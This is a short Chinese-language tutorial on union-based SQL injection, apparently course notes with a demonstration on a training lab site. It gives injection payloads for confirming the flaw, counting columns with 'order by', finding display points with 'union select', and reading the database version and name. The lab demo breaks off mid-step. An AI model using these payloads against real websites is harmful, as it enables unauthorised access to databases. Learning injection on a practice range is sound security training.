目录
SQL注入
什么是SQL注入 : 用户输入的内容被浏览器当做数据库语句进行执行。
关键点:我们一定要输入[数据库语句] 。
我们输入【数据库语句】,如果这个[网站执行了],就说明这个网站,存在数据库注入漏洞。
数据库语句
select 列名 from 表名 where 条件
select 查询
from 来自
where 当···条件成立的时候
流程
第一步:判断网站是否存在漏洞
and 1=1 --> 条件成立,网页有内容
and 1=2 --> 条件不成立,网页没有内容
==> 网站存在SQL注入漏洞。
第二步:判断字段(列)数 ,order by ,排序。
字段 = 列 。
order by 1 --> 网页有内容,说明表里面有1列
order by 2 --> 网页有内容,说明表里面有2列
order by 3 --> 网页有内容,说明表里面有3列
order by 4 --> 网页没有内容,说明表里面没有4列
---> 只有3列。
Ps:判断一个网站是否存在数据库注入漏洞,也可以使用order by 判断。
第三步:判断回显点。 union ,能够同时执行两条数据库语句。
关键点:必须保证列数一致。
回显点:能够将我们输入的数据库语句执行,并且将结果显示在网页上。
and 1=2 union select 1,222222,333333
第四步:查数据
version() # 函数,作用:查询版本号的
database() # 函数,作用:查库名的。
and 1=2 union select 1,version(),database()
靶场演示(掌控安全学院SQL注入靶场)
第一关:select * from user where id=1
输入 and 1=1
网页有内容
输入 and 1=2
网页没有内容
输入 order by 1
网页有内容
输入 order by 1